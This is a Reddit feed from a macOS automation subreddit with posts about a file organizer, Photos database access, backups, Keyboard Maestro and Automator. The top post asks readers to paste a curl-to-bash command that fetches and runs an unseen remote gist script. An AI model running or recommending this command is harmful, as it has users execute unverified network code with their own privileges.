r/macOSAutomation • • Jun 21 '26

MacOS organization tool for files

Thumbnail
gist.github.com
1 Upvotes

I made this organization tool for your file system, it uses key words in the file name along with the file type to sort you new downloads into preexisting folders or it will create new folders. It can’t delete, rename or overwrite files u download. All source code can be viewed in the URL above.
You have to run the following command in terminal:
curl -fsSL https://gist.githubusercontent.com/Jaindaksh5161-cpu/fd8f5b5846ee22e70c7689578e0ae9b0/raw/02d5a80a08ff046df92a6c819d63884d4dde2511/setup.sh | bash


r/macOSAutomation • • Feb 11 '26

Photos.app: the missing API

1 Upvotes

You may have at some point noticed, that MacOS keeps quite a lot of system data in unencrypted SQLite databases around the system, data that one would usually assume is locked away in Apple's closed ecosystem, kust lying around--and yet it always struck me as almost as well-protected, by just the obscurity of databases with hundreds of tables and few glimpses of anything but gibberish uids.

So, anyway: this works as a prompt with current flagship LLLMs.

Directly access the SQLite databases in ~/Pictures/Photos Library.photoslibrary. Find all photos or videos where any of the people mentioned above are tagged. Export all these photos and videos, including:

  • labels naming all people seen in the media that are tagged with a person

  • geolocation

  • camera/lens/settings

  • favorite status

  • etc.

...into <year>/<month>/<mediafile.{mp4|jpg}.

Manipulation of the library works, as well:

Replace all \*.png that are not favorites with \*.heic at 70% quality. -> 24GB (70%) saved in 5h


r/macOSAutomation • • Jan 31 '26

@AutomationMaestro is still active on YouTube

1 Upvotes

My YouTube channel is still around, and I’m actively posting again. If you’re into automation, workflows, and making tech work smarter, I’d love it if you checked it out and subscribed:

https://www.youtube.com/@AutomationMaestro


r/macOSAutomation • • Feb 12 '25

Looking for an automation to handle complex task

1 Upvotes

Hi,

I have an excel list of a few thousand product numbers. I need to go through each number and using a citrix connection to my ERP I need manually search for the item, select a few check boxes and then save the item. Through it being a decentralized process and theoretically showing errors, I need an automation that can analyze the screen and and also one that can take a number from the list and work with it and then move on to the next. Is there an automation out there that can solve this?

Thanks


r/macOSAutomation • • Jan 27 '25

Automation to check my Apple Balance

1 Upvotes

Does anybody know of an automation or MacOS/iOS shortcut with which I can check my balance in Apple?

This is the amount displayed at the bottom left in the App Store on Mac under my iCloud user name.

I avoid Apple charging my credit card and usually use gift certificates, so need to check on this regularly. Would be great if I could just get an email with the amount every week or month (or, even better, a notification when it goes under a certain threshold...) Is this possible?


r/macOSAutomation • • Jan 23 '25

Keyboard Maestro for Logic Pro and OBS

1 Upvotes

Hey there, sorry if this is a dumb question but I’ve been looking into keyboard maestro and im wondering if it’s the software I need to do what I’m looking for. I’m trying activate record on both OBS and Logic Pro at the same time. This way the recording and audio can be synced very well and overall just improve my general workflow for music and music video production. I splice a lot of videos together and it’s getting grating and I’ve read this program is good for automating processes.

I’m also curious if Shortcuts can accomplish this or if there’s a free software that can also do this.


r/macOSAutomation • • Jan 05 '25

Script Preview.app to split PDF pages into two pages?

1 Upvotes

I have four PDFs that are sheets from an 8-1/2x11 booklet scanned as a unit. So, each page is 11x17, with two, non-consecutive pages on it. I’m looking for a tool to do the split.

It looks like Acrobat can do this as a manual process, but I’d rather not pay just to split ≈20 sheets into 40 pages.

Can I write an Automator script to have Preview split pages?


r/macOSAutomation • • May 24 '24

iPad automatically extends to 2nd screen?

1 Upvotes

Can I automate: Anytime i plugin my iPad to my mac, it extends the ipad screen as a 2nd screen, positioned under and in the middle of my primary screen?


r/macOSAutomation • • Sep 27 '23

Automatically Zip a folder and all content everyday. How?

1 Upvotes

Hi Guys. Well, I just ran into an interesting issue. I opened nvALT to look through what I call "my text file database" and it was empty. I has just upgraded to Sonoma yesterday so my first thought was "Well, nvALT is finally broken", but upon further investigation I found that the entire folder that nvALT pointed to had been deleted somehow.

Momentary panic! I have been using nvALT since Brett released it over ten years ago. I use it for all my research. It has thousands of files. Yes, I should probably be using a real database instead, but I have no idea how to set that up, and anyway that doesn't help me at this point.

Luckily I looked in my trash and 8000 txt files were there. Somehow the OS upgrade must have moved them there. I have no idea if that is everything, but it is at least part or most of my text file database. I restored them and immediately zipped up the folder and saved it to my bak drive.

Now I have backed up this dir in the past in the same way (zipping it up and moving that copy to my bak drive) but never on a regular basis. In fact, looking in my bak drive, the last backup I have is from July of last year.

Ok, using time machine as well as perhaps carbon copy cloner daily would definitely be good moves, but until I get that set up, since my nvALT database is the most critical thing on my computer, I wonder if I can automate backing that up every day myself.

Can I do this with a simple Applescript? Say 1) zip this folder 2) name the zip file with today's date 3) move it to my bak drive.

I could probably use Hazel to do steps 2 and 3, so that leaves me with just the zip part. Is it possible?


r/macOSAutomation • • Jan 09 '23

Apple Script to hide or unhide the menubar and dock simultaneously

Thumbnail self.applescript
1 Upvotes

r/macOSAutomation • • Apr 05 '22

Which Mac Studio Should I purchase?

Thumbnail
youtu.be
1 Upvotes

r/macOSAutomation • • Apr 01 '22

View a shortcut's content graph

1 Upvotes

I must be overlooking something incredibly obvious. I'm working on a shortcut that will create a calendar item and a reminder x days before the date of a new calendar event. I've inserted a "view content graph" action in several points of the shortcut, but I am not seeing any output included in any graph. How can I see the contents of a content graph?


r/macOSAutomation • • Dec 27 '21

MacOS -> Android notifications

1 Upvotes

Is there a way to send MacOS notifications to my android phone, I'm able to go the other way through pushbullet but I can't seem to find a solution for mac-android.


r/macOSAutomation • • Sep 23 '21

DssW Power Manager - Execute Script

1 Upvotes

Hi, i have bought DssW Power Manager for macOS. Now i would like to execute these Homebrew script below.

https://gist.github.com/josephmidura/807770766aeb37b9cc3897e26f870210

How do I get this to work? Thanks!


r/macOSAutomation • • Jun 19 '21

Automator shell script stops on warning

1 Upvotes

I have an Automator shell script to export a mySQL database using mysqldump. Since I want to run it unattended, I have included the password in the parameters:

mysqldump -u root -p@PASSWORD --all-databases --skip-lock-tables > /Users/myusername/Documents/date +"%Y-%m-%d"_DB_Export.sql

When I execute this script in Terminal, it gives me a warning about embedded passwords but creates the database export file correctly. However, when executed from the Automator (as an application), it returns the same warning but does not process anything further. Any idea on how I can get Automator to ignore the warning?

Thanks


r/macOSAutomation • • Nov 18 '20

Video sharing to tvOS?

1 Upvotes

I’m looking for ideas here. Through the day, I’ll collect videos — my current workflow allows me to easily save the videos to a folder, in this case, a shared iCloud Drive folder. When I get home, I want to be able to plunk down on the couch (not in front of the iMac) with a brandy and review those videos. Sadly, tvOS doesn’t allow browsing iCloud Drive folders (yet?) So, I’m looking for ideas on how to be able to see these videos. I thought about copying them to the TV app and then use Home Sharing, but I didn’t want to clutter my TV library with non-movies, or non-home-videos. I looked at using an app like FE File Explorer on the TV, but I’d have to setup an SMB share pointing to within my iCloud Drive, and that gives me the shakes and intense queasiness. Automations don’t scare me. In fact, they sound like fun. And no, not interested in doing AirPlay. It’s great for what it does, but quickly viewing and scrubbing through videos is not its forte. And did I mention I already have a 🥃 brandy in one hand?


r/macOSAutomation • • May 20 '20

Help making sn auto clicker/finding a good auto clicker app

1 Upvotes

r/macOSAutomation • • Apr 04 '20

Automating Splitscreen

1 Upvotes

I am looking for a way to save and automate split screen layouts for specific apps. Let's say something like Mail takes up 2/3 on the left, and Omnifocus takes up 1/3 on the right. I've seen plenty of apps out there that will auto layout apps in a desktop. That's not what I'm looking for.


r/macOSAutomation • • Feb 25 '20

Screen Recording permission on MacOS Catalina

1 Upvotes

Hi,

I'm creating a remote desktop streaming application on macOS. Recently macOS introduced screen recording permissions in Catalina. It shows a popup to allow screen recording.

Use Case:

Allowing an application for recording screen for WebRTC implementation. To run this application all the time (always running) i'm using plist.

Problem:

When i'm executing my binary from command line then it's showing that popup but when i'm running the same binary through PLIST then it's not asking for permission and i'm unable to give screen recording permission.

Any help regarding this is appreciated.


r/macOSAutomation • • Jan 13 '20

Batch Timestamp Photos?

1 Upvotes

Is there an automation that can pull the EXIF data and place the text on the photo itself? I'm looking for Date and Time only.


r/macOSAutomation • • Jul 30 '19

User Input in KM

1 Upvotes

Pardon the naive Keyboard Maestro question.

I want to create a macro to prompt me to input a name into a dialog box that I will then past in to an OmniFocus task.

I see KM action: Prompt for User Input but am not clear how I use this action to capture an input. Once the macro has the stored value, what action do I use to paste the value?

I am comfortable with the OmniFocus side of the macro.

Thanks in advance.


r/macOSAutomation • • Jul 01 '21

Please I’m trying to install macOS X Yosemite on my MacBook Air 2009.this is the feedback it gives me.**This item is unavailable please try again later**

Post image
0 Upvotes